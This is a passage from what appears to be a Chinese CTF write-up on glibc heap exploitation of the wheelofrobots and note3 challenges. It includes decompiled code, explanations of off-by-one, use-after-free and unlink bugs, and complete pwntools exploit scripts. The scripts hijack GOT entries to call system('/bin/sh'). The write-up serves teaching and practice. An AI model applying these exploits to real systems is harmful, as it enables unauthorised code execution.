payload += p64(0x20) # fake chunk的size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(ptr + 0x8 - 0x18) # fake chunk的fd，即&ptr[1]-0x18
payload += p64(ptr + 0x8 - 0x10) # fake chunk的bk，即&ptr[1]-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload += b'a'*0x8
payload += p64(0x30) # chunk2的presize
payload += p64(0x90) # chunk2的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
new(0,payload) #这里是prt[3]，但是分配的chunk还是chunk0，这里利用堆溢出修改chunk1和chunk2
delete(2) #触发unlink
payload = b'a'*0x18 + p64(elf.got["atoi"])
edit(1,payload) #通过unlink可以把ptr[1]改写成&ptr[1]-0x18，因此这里就是修改prt数组的内容，把prt[0]改成atoi@got
atoi_addr = show(1) # 泄露atoi@got内容就知道libc基址了
log.info(hex(atoi_addr))
base = atoi_addr - libc.symbols["atoi"]
system = base + libc.symbols["system"]
payload = p64(system)
edit(1,payload)# 将atoi@got内容改写成system函数地址
io.recvuntil(b'\n')
io.sendline(b'/bin/sh\x00')
io.interactive()
```

# 2017 insomni'hack wheelofrobots
查看保护，Partial RELRO表明got表可写

![](upload/attach/202603/1002337_H5EGPDZZPCK7F7A.png)

看main函数，可以看到是一个菜单题，有四个功能添加机器人，删除机器人，修改机器人名称，启动机器人。

```python
int sub_400AD3()
{
  puts("                --------------------------------");
  puts("                         Wheel Of Robots        ");
  puts("                --------------------------------");
  puts("                  1. Add a robot on wheel       ");
  puts("                  2. Delete a robot on wheel    ");
  puts("                  3. Change a robot's name      ");
  return puts("                  4. Start the Wheel Of Robots\n");
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  unsigned int v3; // eax

setvbuf(stdout, 0LL, 2, 0LL);
 setvbuf(stdin, 0LL, 2, 0LL);
 sub_40174B();
 sub_400A86();
 qword_603130 = 0LL;
 while ( 1 )
 {
 while ( 1 )
 {
 sub_400AD3();
 printf("Your choice : ");
 memset(&unk_603110, 0, 4uLL);
 v3 = sub_400A36(&unk_603110, 4LL);
 if ( v3 != 2 )
 break;
 sub_40120C();
 }
 if ( v3 > 2 )
 {
 if ( v3 == 3 )
 {
 sub_4013E0();
 }
 else if ( v3 == 4 )
 {
 sub_40162E();
 }
 }
 else if ( v3 == 1 )
 {
 sub_400DF8();
 }
 }
}
int __fastcall sub_400A36(void *a1, size_t a2)
{
 if ( (int)read(0, a1, a2) <= 0 )
 {
 puts("Error");
 _exit(-1);
 }
 return atoi((const char *)a1);
}
```

看功能1，该函数用于添加机器人，最多可添加三个机器人，共有六种机器人可以选，对应6种case，申请内存时会用3个全局变量分别记录返回的内存地址，可写入的长度（case 1 4 5没记录长度，因为申请的内存大小固定），该机器人是否已申请（不能重复添加同一个机器人）。

```python
unsigned __int64 sub_400DF8()
{
  _WORD *v0; // rax
  char *v1; // rax
  _DWORD *v2; // rax
  char *v3; // rax
  _QWORD *v4; // rax
  char *v5; // rax
  unsigned int v7; // [rsp+8h] [rbp-18h]
  unsigned int v8; // [rsp+8h] [rbp-18h]
  unsigned int v9; // [rsp+8h] [rbp-18h]
  int v10; // [rsp+Ch] [rbp-14h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v12; // [rsp+18h] [rbp-8h]

v12 = __readfsqword(0x28u);
 sub_400D83("Which robot do you want to add to the wheel?");
 printf("Your choice :");
 memset(&unk_603110, 0, 4uLL);
 v10 = sub_400A36(&unk_603110, 5uLL);
 if ( (unsigned __int64)qword_603130 <= 2 )
 {
 switch ( v10 )
 {
 case 1:
 if ( !dword_603120 )
 {
 buf = calloc(1uLL, 0x14uLL);
 dword_603120 = 1;
 v0 = buf;
 *(_QWORD *)buf = 'iT ynniT';
 v0[4] = 109;
 ++qword_603130;
 }
 break;
 case 2:
 if ( !dword_603114 )
 {
 printf("Increase Bender's intelligence: ");
 memset(s, 0, 5uLL);
 v7 = sub_400A36(s, 5uLL);
 if ( v7 > 4 )
 {
 puts("Sorry impossible to make bender as smart!");
 v7 = 2;
 }
 qword_6030F0 = calloc(1uLL, 20 * v7);
 qword_603138 = v7;
 dword_603114 = 1;
 v1 = (char *)qword_6030F0;
 *(_DWORD *)qword_6030F0 = 'dneB';
 strcpy(v1 + 4, "er");
 ++qword_603130;
 }
 break;
 case 3:
 if ( !dword_603124 )
 {
 printf("Increase Robot Devil's cruelty: ");
 memset(s, 0, 5uLL);
 v8 = sub_400A36(s, 5uLL);
 if ( v8 > 0x63 )
 {
 puts("You are crazy!!");
 v8 = 20;
 }
 qword_603100 = calloc(1uLL, 20 * v8);
 qword_603140 = v8;
 dword_603124 = 1;
 v2 = qword_603100;
 *(_QWORD *)qword_603100 = 'eD toboR';
 v2[2] = 'liv';
 ++qword_603130;
 }
 break;
 case 4:
 if ( !dword_603118 )
 {
 qword_6030E0 = calloc(1uLL, 0xFA0uLL);
 v3 = (char *)qword_6030E0;
 *(_QWORD *)qword_6030E0 = 'mS niahC';
 strcpy(v3 + 8, "oker");
 dword_603118 = 1;
 ++qword_603130;
 }
 break;
 case 5:
 if ( !dword_603128 )
 {
 qword_603108 = calloc(1uLL, 0x9C40uLL);
 v4 = qword_603108;
 *(_QWORD *)qword_603108 = 0x616E6F696C6C6942LL;
 v4[1] = 0x746F4220657269LL;
 dword_603128 = 1;
 ++qword_603130;
 }
 break;
 case 6:
 if ( !dword_60311C )
 {
 printf("Increase Destructor's powerful: ");
 memset(s, 0, 5uLL);
 v9 = sub_400A36(s, 5uLL);
 qword_6030E8 = calloc(1uLL, 20 * v9);
 qword_603148 = v9;
 dword_60311C = 1;
 v5 = (char *)qword_6030E8;
 *(_QWORD *)qword_6030E8 = 'tcurtseD';
 strcpy(v5 + 8, "or");
 ++qword_603130;
 }
 break;
 default:
 return __readfsqword(0x28u) ^ v12;
 }
 }
 else
 {
 puts("Wheel Of Robots is Full!");
 }
 return __readfsqword(0x28u) ^ v12;
}
```

v10 = sub_400A36(&unk_603110, 5uLL);函数内容见上文，可以看到读入5个字节，但是unk_603110是用4个字节存储，如果我们读入5个字节，最后一个字节就会溢出到dword_603114变量，造成off by one漏洞，而dword_603114这个变量其实就是case2 bender机器人的申请记录，我们可以通过off by one篡改。

ps:这些变量名都对应其地址

![](upload/attach/202603/1002337_53NFZHKXCD37C7X.png)

看功能2，这里就是回收六个内存的功能，注意到六个内存在free之后并没有设置为null，而且内存大小也没设置为0，但是申请记录变量有设为0，而回看刚才的功能1，每个内存在申请时都会检测申请记录，如果我们能够修改这个值（比如利用off by one）就可以造成use after free漏洞。

```python
__int64 sub_40120C()
{
  __int64 result; // rax

sub_400D83("Which robot do you want to remove from the wheel?");
  printf("Your choice :");
  memset(&unk_603110, 0, 4uLL);
  result = (unsigned int)sub_400A36(&unk_603110, 4uLL);
  switch ( (int)result )
  {
    case 1:
      result = (unsigned int)dword_603120;
      if ( dword_603120 )
      {
        free(buf);
        dword_603120 = 0;
        result = --qword_603130;
      }
      break;
    case 2:
      result = (unsigned int)dword_603114;
      if ( dword_603114 )
      {
        free(qword_6030F0);
        dword_603114 = 0;
        result = --qword_603130;
      }
      break;
    case 3:
      result = (unsigned int)dword_603124;
      if ( dword_603124 )
      {
        free(qword_603100);
        dword_603124 = 0;
        result = --qword_603130;
      }
      break;
    case 4:
      result = (unsigned int)dword_603118;
      if ( dword_603118 )
      {
        free(qword_6030E0);
        dword_603118 = 0;
        result = --qword_603130;
      }
      break;
    case 5:
      result = (unsigned int)dword_603128;
      if ( dword_603128 )
      {
        free(qword_603108);
        dword_603128 = 0;
        result = --qword_603130;
      }
      break;
    case 6:
      result = (unsigned int)dword_60311C;
      if ( dword_60311C )
      {
        free(qword_6030E8);
        dword_60311C = 0;
        result = --qword_603130;
      }
      break;
    default:
      return result;
  }
  return result;
}
```

看功能3，就是往申请的内存里写内容，会检查内存是否已申请。

```python
ssize_t sub_4013E0()
{
  ssize_t result; // rax

sub_400D83("Which robot's name do you want to change?");
  printf("Your choice :");
  memset(&unk_603110, 0, 4uLL);
  result = (unsigned int)sub_400A36(&unk_603110, 4uLL);
  switch ( (int)result )
  {
    case 1:
      result = (unsigned int)dword_603120;
      if ( dword_603120 )
      {
        puts("Robot's name: ");
        result = read(0, buf, 0x14uLL);
      }
      break;
    case 2:
      result = (unsigned int)dword_603114;
      if ( dword_603114 )
      {
        puts("Robot's name: ");
        result = read(0, qword_6030F0, 20 * qword_603138);
      }
      break;
    case 3:
      result = (unsigned int)dword_603124;
      if ( dword_603124 )
      {
        puts("Robot's name: ");
        result = read(0, qword_603100, 20 * qword_603140);
      }
      break;
    case 4:
      result = (unsigned int)dword_603118;
      if ( dword_603118 )
      {
        puts("Robot's name: ");
        result = read(0, qword_6030E0, 0xFA0uLL);
      }
      break;
    case 5:
      result = (unsigned int)dword_603128;
      if ( dword_603128 )
      {
        puts("Robot's name: ");
        result = read(0, qword_603108, 0x9C40uLL);
      }
      break;
    case 6:
      result = (unsigned int)dword_60311C;
      if ( dword_60311C )
      {
        puts("Robot's name: ");
        result = read(0, qword_6030E8, 20 * qword_603148);
      }
      break;
    default:
      return result;
  }
  return result;
}
```

看功能四，其实就是打印内存内容，但是我们不能控制要打印哪个内存，因为switch传入的值是随机的。

```python
unsigned __int64 __fastcall sub_4015BD(__int64 a1)
{
  unsigned __int64 v2; // [rsp+38h] [rbp-8h]

do
 v2 = rand();
 while ( 0x80000000 - 0x80000000uLL % (a1 + 1) <= v2 );
 return v2 / (0x80000000uLL / (a1 + 1));
}
int sub_40162E()
{
 if ( (unsigned __int64)qword_603130 > 2 )
 {
 switch ( (unsigned int)sub_4015BD(6LL) )
 {
 case 1u:
 if ( !dword_603114 )
 goto LABEL_6;
 sub_400CA0(buf);
 break;
 case 2u:
LABEL_6:
 if ( !dword_603114 )
 goto LABEL_8;
 sub_400B20("Are you kidding me!!!");
 break;
 case 3u:
LABEL_8:
 if ( !dword_603124 )
 goto LABEL_10;
 sub_400CA0(qword_603100);
 break;
 case 4u:
LABEL_10:
 if ( !dword_603118 )
 goto LABEL_12;
 sub_400CA0(qword_6030E0);
 break;
 case 5u:
LABEL_12:
 if ( !dword_603128 )
 goto LABEL_14;
 sub_400CA0(qword_603108);
 break;
 case 6u:
LABEL_14:
 if ( !dword_60311C )
 goto LABEL_16;
 sub_400CA0(qword_6030E8);
 break;
 default:
LABEL_16:
 sub_400BE5(" AH AH AH Welcome in Robot Hell!! ");
 break;
 }
 exit(1);
 }
 return puts("Filling the wheel first!");
}

```

## 思路
1. 利用 off by one 漏洞和use after free和fastbin attack分配 chunk 到 0x603138（0x603148记录了case6机器人的可写入长度），进而可以控制size的大小，从而实现任意长度堆溢出。这里我们将case2机器人Bender分配到这里
2. 分别分配合适大小的物理相邻的 chunk，其中包括case6。借助上面可以任意长度堆溢出的漏洞，对 case6 对应的 chunk 进行溢出，将其溢出到下一个物理相邻的 chunk，从而实现对 0x6030E8 处 fake chunk 进行 unlink 的效果，这时 bss 段的 case6 指向 0x6030D0。从而，我们可以再次实现覆盖 bss 段几乎所有的内容。
3. 构造一个任意地址写的漏洞。通过上述的漏洞将case6覆盖为free@got，case2覆盖为case6申请记录变量的地址，这样就能无限free case6了，case1指针覆盖为 case6 的地址，那么此后编辑 case1 即在编辑 case6 的内容，进而当我们再次编辑 case6时就相当于任意地址写。
4. 通过步骤四我们覆盖了case6为free@got，我们编辑case6的内容，就能够将free@got内容修改为puts@plt，接着我们编辑case2为puts@got，此时调用free(case6)其实就是puts(puts@got)泄露地址。
5. 在泄漏了相应的内容后，我们便可以得到 libc 基地址，system 地址。我们只要编辑case1为atoi@got，编辑case2为1，再free(case6)就能够修改atoi@got为 system 地址。这样当我们输入"sh"时，atoi("sh")就变成了system("sh")，执行shell。

感觉有点烧脑。。。看wp理解了好久

## 分析过程
```python
def add(choice,size=0):
 io.recvuntil(b"Your choice : ")
 io.send(b'1')
 io.recvuntil(b"Your choice :")
 io.send(str(choice).encode())
 if choice == 2:
 io.recvuntil(b"Increase Bender's intelligence: ")
 io.send(str(size).encode())
 elif choice == 3:
 io.recvuntil(b"Increase Robot Devil's cruelty: ")
 io.send(str(size).encode())
 elif choice == 6:
 io.recvuntil(b"Increase Destructor's powerful: ")
 io.send(str(size).encode())
def off_by_one(choice):
 io.recvuntil(b"Your choice : ")
 io.send(b'1')
 io.recvuntil(b"Your choice :")
 io.send(str(choice).encode())
def delete(choice):
 io.recvuntil(b"Your choice : ")
 io.send(b'2')
 io.recvuntil(b"Your choice :")
 io.send(str(choice).encode())
def change(choice,payload):
 io.recvuntil(b"Your choice : ")
 io.send(b'3')
 io.recvuntil(b"Your choice :")
 io.send(str(choice).encode())
 io.recvuntil(b"Robot's name: \n")
 io.send(payload)
def start(index):
 io.recvuntil(b"Your choice : ")
 io.send(b'4')
```

先写下程序的交互

```python
#case6即Destructor的指针，指向分配的内存
ptr = 0x6030E8
#case1的指针，指向分配的内存
buf = 0x6030F8
#pause()
#坑1
add(2,1)# 申请case2，size是20*1，这里好坑，calloc(1,20)分配给我们的chunk_size是0x20而不是0x30，因为这里复用了下一块chunk的pre_size部分
delete(2) # 回收case2，申请记录就变成0了，回收到fastbin，fastbin -> chunk0 -> null
```

首先申请case2，然后再回收，此时申请记录为0

![](upload/attach/202603/1002337_NRQ4TXRURESPBYB.png)

```python
off_by_one('9999'+'\x01') # 利用off_by_one漏洞，把case2的申请记录从0改成1，改了才能编辑case2内容
change(2,p64(0x603138))# 这里利用了use after free，修改chunk0的fd指针，变成fastbin -> chunk0 -> 0x603138 -> null
```

通过off by one漏洞溢出0x603114最低字节，并修改fd指针

![](upload/attach/202603/1002337_D6X28B9K445UN4S.png)

```python
off_by_one('9999'+'\x00') # 利用off_by_one漏洞，把case2的申请记录从1改成0，改了才能添加case2
add(1) #fastbin -> 0x603138 -> null
add(3,0x20) #我们还需要把0x603140改成0x20，为的是绕过size的检查，这个地址对应case3的size
add(2,1)# 分配0x603138的chunk给case2，就能够修改case6的写入长度了
```

把0x603148地址作为内存分配给case2

![](upload/attach/202603/1002337_ZAGZC2KSEVC5XFB.png)

```python
delete(1) #回收case1
delete(3) #回收case3 因为不能超过三个机器人
add(6,8) #申请case6，对应0x6030E8地址，20*8=0xa0，分配了0xb0的chunk，记chunk1
add(3,8) #申请case3，分配了0xb0的chunk，记chunk2
```

回收case1和case3，申请case6和case3

![](upload/attach/202603/1002337_UT83ZTJ6GQ27EXB.png)

```python
change(2,p64(1000)) #修改写入长度造成堆溢出
payload = p64(0)+p64(0x20) #fake chunk的presize和size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(ptr - 0x18) # fake chunk的fd，即&case6-0x18
payload += p64(ptr - 0x10) # fake chunk的bk，即&case6-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0xa0,b'a')
payload += p64(0xa0) # chunk2的presize
payload += p64(0xb0) # chunk2的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
change(6,payload) #这里利用堆溢出修改chunk1和chunk2，布置利用环境
delete(3) #触发unlink
```

编辑case2修改case6的写入长度，接着就是布置unlink环境

![](upload/attach/202603/1002337_G2DB443GEB5CK5F.png)

unlink将0x6030E8指向了0x6030E8-0x18

![](upload/attach/202603/1002337_ASEAQ8SNRZ4N2YM.png)

```python
payload = b'a'*0x18 + p64(elf.got["free"]) + p64(0x60311C) + p64(ptr) + p32(1)*9 # case6设为free@got，case2设为case6申请记录的地址，case1设为case6地址，还要把case1的申请记录设为1
# 修改free@got为put@plt，打印put@got内容
change(6,payload)
```

case6设为free@got，case2设为case6申请记录的地址，case1设为case6地址，还要把case1的申请记录设为1

![](upload/attach/202603/1002337_BP3KN6FAT3ZG83N.png)

```python
change(6,p64(elf.plt["puts"]))
change(1,p64(elf.got["puts"]))
delete(6)
```

修改free@got为puts@plt，并打印puts@got内容

![](upload/attach/202603/1002337_MBAXFGZFPXDTX7X.png)

```python
# 修改atoi@got为system
change(2,p32(1))
change(1,p64(elf.got["atoi"]))
change(6,p64(system))
delete(6)
# 输入"sh"，atoi("sh")变成system("sh")
io.recvuntil(b"Your choice : ")
io.send(b'1')
io.recvuntil(b"Your choice :")
io.sendline(b'sh\x00')
io.interactive()
```

修改atoi@got为system

![](upload/attach/202603/1002337_35DRH44BJA2BB8P.png)

最后成功拿到shell

![](upload/attach/202603/1002337_H88ACE8TSY777ZQ.png)

## EXP
```python
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io = process("wheelofrobots")
#gdb.attach(io,"b *0x40186E")
elf = ELF("wheelofrobots")
libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")
def add(choice,size=0):
    io.recvuntil(b"Your choice : ")
    io.send(b'1')
    io.recvuntil(b"Your choice :")
    io.send(str(choice).encode())
    if choice == 2:
        io.recvuntil(b"Increase Bender's intelligence: ")
        io.send(str(size).encode())
    elif choice == 3:
        io.recvuntil(b"Increase Robot Devil's cruelty: ")
        io.send(str(size).encode())
    elif choice == 6:
        io.recvuntil(b"Increase Destructor's powerful: ")
        io.send(str(size).encode())
def off_by_one(choice):
    io.recvuntil(b"Your choice : ")
    io.send(b'1')
    io.recvuntil(b"Your choice :")
    io.send(str(choice).encode())
def delete(choice):
    io.recvuntil(b"Your choice : ")
    io.send(b'2')
    io.recvuntil(b"Your choice :")
    io.send(str(choice).encode())
def change(choice,payload):
    io.recvuntil(b"Your choice : ")
    io.send(b'3')
    io.recvuntil(b"Your choice :")
    io.send(str(choice).encode())
    io.recvuntil(b"Robot's name: \n")
    io.send(payload)
def start(index):
    io.recvuntil(b"Your choice : ")
    io.send(b'4')
#case6即Destructor的指针，指向分配的内存
ptr = 0x6030E8
#case1的指针，指向分配的内存
buf = 0x6030F8
#pause()
#坑1
add(2,1)# 申请case2，size是20*1，这里好坑，calloc(1,20)分配给我们的chunk_size是0x20而不是0x30，因为这里复用了下一块chunk的pre_size部分
delete(2) # 回收case2，申请记录就变成0了，回收到fastbin，fastbin -> chunk0 -> null
off_by_one('9999'+'\x01') # 利用off_by_one漏洞，把case2的申请记录从0改成1，改了才能编辑case2内容
change(2,p64(0x603138))# 这里利用了use after free，修改chunk0的fd指针，变成fastbin -> chunk0 -> 0x603138 -> null
off_by_one('9999'+'\x00') # 利用off_by_one漏洞，把case2的申请记录从1改成0，改了才能添加case2
add(1) #fastbin -> 0x603138 -> null
add(3,0x20) #我们还需要把0x603140改成0x20，为的是绕过size的检查，这个地址对应case3的size
add(2,1)# 分配0x603138的chunk给case2，就能够修改case6的写入长度了
#坑2，delete1和delete3的顺序不能换，应该是跟chunk的合并有关系？后面再看看。
delete(1) #回收case1
delete(3) #回收case3 因为不能超过三个机器人
add(6,8) #申请case6，对应0x6030E8地址，20*8=0xa0，分配了size为0xb0的chunk，记chunk1
add(3,8) #申请case3，分配了size为0xb0的chunk，记chunk2
change(2,p64(1000)) #修改写入长度造成堆溢出
payload = p64(0)+p64(0x20) #fake chunk的presize和size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(ptr - 0x18) # fake chunk的fd，即&case6-0x18
payload += p64(ptr - 0x10) # fake chunk的bk，即&case6-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0xa0,b'a')
payload += p64(0xa0) # chunk2的presize
payload += p64(0xb0) # chunk2的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
change(6,payload) #这里利用堆溢出修改chunk1和chunk2，布置利用环境
delete(3) #触发unlink
payload = b'a'*0x18 + p64(elf.got["free"]) + p64(0x60311C) + p64(ptr) + p32(1)*9 # case6设为free@got，case2设为case6申请记录的地址，case1设为case6地址，还要把case1的申请记录设为1
# 修改free@got为put@plt，打印put@got内容
change(6,payload)
change(6,p64(elf.plt["puts"]))
change(1,p64(elf.got["puts"]))
delete(6)
# 根据泄露的地址计算偏移
puts_addr = u64(io.recvuntil(b'\n',drop=True).ljust(0x8,b'\x00'))
log.info(hex(puts_addr))
base = puts_addr - libc.symbols["puts"]
system = base + libc.symbols["system"]
# 修改atoi@got为system
change(2,p32(1))
change(1,p64(elf.got["atoi"]))
change(6,p64(system))
delete(6)
# 输入"sh"，atoi("sh")变成system("sh")
io.recvuntil(b"Your choice : ")
io.send(b'1')
io.recvuntil(b"Your choice :")
io.sendline(b'sh\x00')
io.interactive()
```

# ZCTF 2016 note3
![](upload/attach/202603/1002337_C95SAMPM7RMMJJJ.png)

main函数有四个功能

```python
int sub_400A1B()
{
  puts("1.New note\n2.Show note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");
  return sub_40096A();
}
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  alarm(0x3Cu);
  while ( 1 )
  {
    switch ( sub_400A1B() )
    {
      case 1:
        sub_400A30();
        break;
      case 2:
        sub_400BFD();
        break;
      case 3:
        sub_400C0D();
        break;
      case 4:
        sub_400B33();
        break;
      case 5:
        puts("Bye~");
        exit(0);
      case 6:
        exit(0);
      default:
        continue;
    }
  }
}
unsigned __int64 __fastcall sub_4008DD(__int64 a1, __int64 a2, char a3)
{
  char buf; // [rsp+2Fh] [rbp-11h] BYREF
  unsigned __int64 i; // [rsp+30h] [rbp-10h]
  ssize_t v7; // [rsp+38h] [rbp-8h]

功能一是申请自定义大小的内存，但有限制。漏洞点和note2一样，都是读入函数的a2-1>i比较

```python
int sub_400A30()
{
  int i; // [rsp+Ch] [rbp-14h]
  __int64 size; // [rsp+10h] [rbp-10h]
  void *v3; // [rsp+18h] [rbp-8h]

for ( i = 0; i <= 6 && *(&ptr + i); ++i )
 ;
 if ( i == 7 )
 puts("Note is full, add fail");
 puts("Input the length of the note content:(less than 1024)");
 size = sub_4009B9();
 if ( size < 0 )
 return puts("Length error");
 if ( size > 1024 )
 return puts("Content is too long");
 v3 = malloc(size);
 puts("Input the note content:");
 sub_4008DD((__int64)v3, size, 10);
 *(&ptr + i) = v3;
 qword_6020C0[i + 8] = size;
 qword_6020C0[0] = (__int64)*(&ptr + i);
 return printf("note add success, the id is %d\n", (unsigned int)i);
}
```

功能2啥也没有

功能三就是写入内容，如果size设为0会导致堆溢出

```python
int sub_400C0D()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
  v0 = sub_4009B9();
  v3 = v0 % 7;
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      puts("Input the new content:");
      sub_4008DD((__int64)*(&ptr + v3), qword_6020C0[v3 + 8], '\n');
      qword_6020C0[0] = (__int64)*(&ptr + v3);
      LODWORD(v1) = puts("Edit success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}
```

功能四，回收内存

```python
int sub_400B33()
{
  __int64 v0; // rax
  __int64 v1; // rax
  __int64 v3; // [rsp+8h] [rbp-8h]

puts("Input the id of the note:");
  v0 = sub_4009B9();
  v3 = v0 % 7;
  if ( v0 % 7 >= v0 )
  {
    v1 = (__int64)*(&ptr + v3);
    if ( v1 )
    {
      free(*(&ptr + v3));
      if ( (void *)qword_6020C0[0] == *(&ptr + v3) )
        qword_6020C0[0] = 0LL;
      *(&ptr + v3) = 0LL;
      LODWORD(v1) = puts("Delete success");
    }
  }
  else
  {
    LODWORD(v1) = puts("please input correct id.");
  }
  return v1;
}
```

## 思路
+ 利用 unlink 修改 ptr[1] 为 &ptr[1]-0x18。
+ 利用new note的堆溢出修改ptr[1]为&prt[3]，ptr[2]为puts@got，ptr[3]为free@got，ptr[1]修改为&ptr[3]就能实现任意地址写了，我们可以通过ptr[1]修改ptr[3]为我们想写入的任意地址，编辑prt[3]就是编辑任意地址内容
+ 利用edit功能修改ptr[3]也就是free@got为puts@plt，就能够泄露libc基址了，也就得到了system地址。
+ 编辑prt[1]使得ptr[3]为atoi@got，编辑ptr[3]写入system地址，接着输入 /bin/sh，atoi("/bin/sh")就变成了system("/bin/sh")。

这道题和note2差不多，只是少了打印的功能，只需要修改free@got为puts@plt泄露地址即可，漏洞点和攻击手法一样的。

## EXP
```python
from pwn import *
context(arch = "amd64", os = "linux", log_level = "debug")
io = process("note3")
#gdb.attach(io,"b *0x400D4C")
elf = ELF("note3")
libc = ELF("./libc6_2.23-0ubuntu10_amd64/lib/x86_64-linux-gnu/libc-2.23.so")
def new(size,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'1')
    io.recvuntil(b"Input the length of the note content:(less than 1024)\n")
    io.sendline(str(size).encode())
    io.recvuntil(b"Input the note content:\n")
    io.sendline(payload)
def edit(index,payload):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'3')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    io.recvuntil(b"Input the new content:\n")
    io.sendline(payload)
def delete(index):
    io.recvuntil(b"option--->>\n")
    io.sendline(b'4')
    io.recvuntil(b"Input the id of the note:\n")
    io.sendline(str(index).encode())
    
ptr = 0x00000000006020c8
#pause()
new(0,b'aa') #chunk0
new(0x50,b'aa') #chunk1
new(0x80,b'aa') #chunk2
new(0x80,b'aa') #chunk3
payload = b'a'*0x10
payload += p64(0)+p64(0x61) #chunk1的presize和size
payload += p64(0) # fake chunk的presize
payload += p64(0x20) # fake chunk的size
# FD->bk != P || BK->fd != P;fd和bk的设置是为了绕过这个检查
payload += p64(ptr + 0x8 - 0x18) # fake chunk的fd，即&ptr[1]-0x18
payload += p64(ptr + 0x8 - 0x10) # fake chunk的bk，即&ptr[1]-0x10
payload += p64(0x20) # 这里是为了绕过chunksize(P) != prev_size (next_chunk(P))这个检查
payload = payload.ljust(0x70)
payload += p64(0x50) # chunk2的presize
payload += p64(0x90) # chunk2的size，这里主要把inuse标志位改成0，这样free时就能触发unlink
edit(0,payload)
delete(2) #触发unlink
payload = b'a'*0x18 + p64(ptr + 0x18) + p64(elf.got["puts"]) + p64(elf.got["free"])
edit(1,payload) #通过unlink可以把ptr[1]改写成&ptr[1]-0x18，因此这里就是修改prt数组的内容，把prt[1]改成&ptr[3]，这样就能实现任意地址写，ptr[2]改成puts@got，ptr[3]改成free@got
edit(3,p32(elf.plt["puts"]).ljust(0x7,b'\x00')) # 把free@got内容改成puts@plt
delete(2)# 打印puts@got内容
puts_addr = u64(io.recvuntil(b"\n",drop=True).ljust(0x8,b'\x00'))
log.info(hex(puts_addr))
base = puts_addr - libc.symbols["puts"]
system = base + libc.symbols["system"]
edit(1,p64(elf.got["atoi"]))# 把ptr[3]改成atoi@got
edit(3,p64(system))# 将atoi@got内容改写成system函数地址，使得atoi("/bin/sh")变成system("/bin/sh")
io.recvuntil(b'\n')
io.sendline(b'/bin/sh\x00')
io.interactive()
```

登录后可查看完整内容

冰与火的战歌：Windows内核攻防实战高级班！从零到实战，融合AI与Windows内核攻防全技术栈，打造具备自动化能力的内核开发高手。

#溢出 #基础知识 #题解集锦